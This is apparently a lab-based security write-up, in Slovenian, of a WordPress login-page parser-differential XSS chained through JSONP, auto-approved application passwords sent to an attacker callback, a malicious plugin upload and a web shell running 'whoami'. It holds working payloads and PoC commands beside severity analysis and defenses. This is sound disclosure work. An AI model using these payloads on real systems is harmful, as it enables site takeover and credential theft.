Samo pooblaščeno testiranje.
Vse spodaj je bilo izvedeno na lokalnem laboratoriju (WordPress 7.0.2 na localhos). Teh tehnik ne uporabljajte na sistemih, ki jih ne posedujete ali za katere nimate izrecnega dovoljenja za testiranje.
Izvršni povzetek
XSS2Shell ni posamična napaka — gre za sedemstopenjsko izkoriščevalsko verigo, ki se začne z enim znakom (<, ki mu sledi presledek) in zaobide dva različna HTML razčlenjevalnika na strani za prijavo v WordPress, ter konča z izvajanjem PHP na strežniku kot www-data.
Zakaj je to nevarno:
- 1. stopnja ne zahteva nobene avtentikacije — kdorkoli lahko sproži JavaScript na
wp-login.php. - Napaka se nahaja v jedru WordPress — ne v vtičniku; prizadeta je skoraj vsaka podprta namestitev od leta 2016.
- Uporablja lastno kodo WordPressa —
user-profile.js, REST JSONP, gesla za aplikacije, nalaganje vtičnikov — kot pripomočke. - Polno izvajanje oddaljene kode je dokazano in priznano s strani WordPressa — čeprav zahteva, da voden administrator z enim klikom pade v past.
Ta članek vodi skozi vsako fazo s posnetki zaslona iz našega lokalnega laboratorija.
Laboratorijsko okolje
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Vsako spletišče WordPress izpostavlja /wp-login.php. Ta stran je vstopna točka za celotno verigo.
Faza 0: Razlika razčlenjevalnika (temeljni vzrok)
Ko prijava ne uspe, WordPress v sporočilu o napaki odda posredovano uporabniško ime. Uporabniško ime gre skozi dva sanitizatorja, ki se ne strinjata o tem, kaj je »tag«:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Koristna vsebina uporablja presledek za<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XNa ranljivem WordPressu 7.0.2 to preživi sanitizacijo in postane živi DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
Na zakrpanem WordPressu 7.0.4 je isti vbrizgan niz HTML-kodiran v sporočilu o napaki — brez živih elementov.
Ta hrošč obstaja od WordPressa 4.7 (2016) in ga leta varnostnih revizij niso odkrili.
Faza 1: XSS pred avtentikacijo (prijava ni potrebna)
Vbrizgana vozlišča DOM se ujemajo s selektorji, ki jih WordPressov lasten user-profile.js išče na strani za prijavo (naloženo za potek ponastavitve gesla):
.reset-pass-submit .wp-generate-pwse ob nalaganju strani samodejno klikne- Klik se razširi do delegiranega upravljalnika
#color-picker - Varnostno preverjanje
user_id === checkuser_iduspe, ker sta obaundefined - jQuery pošlje POST na
ajaxurl— vendarajaxurlne obstaja na strani za prijavo…
Razen če ga prepišemo:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Element <area id=ajaxurl> postane window.ajaxurl. jQuery pokliče .toString() → vrne href. WordPress REST vrne JSONP → jQuery globalEval() → alert()se izvede na izvoru WordPress.

Pošljite obrazec (ali odprite demo/stage1-preauth-xss.html in kliknite Zaženi fazo 1):

Vpliv samo v tej fazi: lažno predstavljanje poverilnic na pravi domeni, vožnja seje, klici API z istim izvorom — brez kakršne koli avtentikacije.
Faza 2: Socialni inženiring — klik skrbnika
Faze 2–7 zahtevajo, da prijavljeni skrbnik odpre stran pod nadzorom napadalca. To je trenje, ki ohranja CVSS pod 10 — je pa realistično za ciljane napade.
Skrbnik bi morda prejel: »Vaša seja je potekla — kliknite tukaj za ponovno avtentikacijo.«

Ko kliknemo, stran napadalca:
- Odpre podrejeno pojavno okno (
about:blank) - Preusmeri glavno okno na stran za odobritev gesla za aplikacijo WordPress
- V podrejeno pojavno okno zapiše obrazec XSS in ga samodejno pošlje na
wp-login.php

Faza 3: Izvajanje metode istega izvora (SOME) — samodejno odobrenje
Koristna obremenitev XSS podrejenega okna spremeni povratni klic JSONP iz alert v:
window.opener.approve.clickWordPress REST zavije odgovor:
/**/window.opener.approve.click({...})Izvajalno okolje razreši window.opener (nadrejeno okno) → .approve (gumb #approve) → .click(). Gumb Odobri za geslo aplikacije se klikne samodejno — brez interakcije uporabnika na tej strani.

Opazite URL povratnega klica na strani: poverilnice bodo poslane na http://127.0.0.1:9090/callback?...&password=[------].
Faza 4: Zajemanje gesla aplikacije
WordPress ustvari novo geslo aplikacije in preusmeri na napadalčev success_url s poverilnico v poizvedbenem nizu:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXNapadalec ima zdaj poverilnice HTTP Basic auth za WordPress REST API — iz skrbnikove lastne seje, brez da bi skrbnik kar koli vtipkal po začetnem kliku na povezavo.
Faza 5: Objava strani pod nadzorom napadalca
Z ukradenimi gesli aplikacije napadalec izvede POST na /wp-json/wp/v2/pages in objavi stran z vgrajenim JavaScriptom. Skrbniki imajo zmožnost unfiltered_html — oznake skriptov preživijo.
Faza 6: Nalaganje vtičnika prek skrbniške seje
Napadalčev JavaScript (ki se izvaja v brskalniku skrbnika na objavljeni strani):
- Pridobi
/wp-admin/plugin-install.php?tab=uploadza enkratno vrednost nalaganja - Izvede POST zlonamernega ZIP-a na
/wp-admin/update.php?action=upload-plugin - WordPress ga razpakira v
wp-content/plugins/xss2shell/
Vtičnik ni treba aktivirati. Datoteke PHP v imeniku vtičnika so neposredno dostopne prek spleta.
Faza 7: Oddaljeno izvajanje kode
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiOdgovor:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Napadalec zdaj izvaja poljubne ukaze kot uporabnik spletnega strežnika — prebere wp-config.php (poverilnice baze podatkov), izvozi bazo podatkov in se lateralno premika.
Celoten izpis terminala PoC:

Celotna veriga na prvi pogled
sequenceDiagram participant A as Napadalčev strežnik participant V as Brskalnik žrtve participant W as WordPress 7.0.2 Note over V,W: Skrbnik je prijavljen V->>A: Odpre lažno povezavo (1 klik) A->>V: HTML napadalca + podrejeno pojavno okno V->>W: Glavno okno → authorize-application.php V->>W: Podrejeno okno POSTa XSS koristno vsebino na wp-login.php W->>V: JSONP izvede window.opener.approve.click Note over V,W: Gumb Odobri se klikne samodejno W->>A: Preusmeritev z geslom aplikacije A->>W: REST API objavi stran (Basic auth) V->>W: Skrbnik obišče stran → naloži ZIP vtičnika V->>W: GET shell.php?cmd=whoami W-->>A: www-dataKako nevarno je to v resnici?
Kar je zagotovljeno (visoka zaupnost)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Kar zahteva dodatne pogoje (pot RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Kalibracija resnosti
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Zaključek: To ni črvljiva RCE brez klika kot Log4Shell. Je globoko tehnična ranljivost na ravni jedra, ki prizadene ~43 % spleta, kjer:
- Samo faza 1 je resna XSS pred avtentikacijo na strani za prijavo
- Celotna veriga en klik skrbnika pretvori v kompromitacijo strežnika
- Temeljni vzrok (razlika v razčlenjevalnikih) velja za vsako kodno bazo, ki uporablja več razčlenjevalnikov HTML
Lastno obvestilo WordPressa navaja, da RCE zahteva »pogoje zunaj nadzora napadalca« in »uspešen socialni inženiring.« To je točno — a prikazana veriga te pogoje naredi dosegljive z eno samo povezavo.
Lokalno reproducirajte celotno verigo
# 1. Zaženi lab make up # 2. Omogoči gesla za aplikacije prek HTTP (samo lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Zaženi poslušalca PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. V brskalniku: # a. Prijavite se kot skrbnik na http://localhost:9080/wp-login.php # b. Odprite http://127.0.0.1:9091/phishing-sim.html # c. Kliknite »Odpri stran napadalca« (dovolite pojavna okna) # d. Počakajte na izhod v terminalu, ki prikazuje lupino + whoamiObramba
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Popravek doda esc_html() k uporabniškemu imenu v poti napake pri prijavi — s čimer zagotovi, da se niz obravnava kot besedilo in ne znova razčleni kot HTML.
Zakaj je to pomembno za varnostne raziskave
Vsaka povezava v verigi je sama po sebi dolgočasna:
- Diferencial razčlenjevalnika → nizka resnost vzdrževanja
- Napačna skripta naložena na strani za prijavo → nizko
- JSONP povratni klic preverjen z regularnim izrazom → srednje
- Geslo za aplikacijo v URL-ju preusmeritve → srednje
- Imenik vtičnikov izvaja PHP brez aktivacije → znano obnašanje
Skupaj so CVSS 8.9 in lupina.
Pouk: pri ocenjevanju ugotovitev XSS vprašajte »kaj je že naloženo na tej strani in kaj bo storilo, če mu posredujem prave vozlišča DOM?« Resnost je lastnost verige, ne posamezne napake.

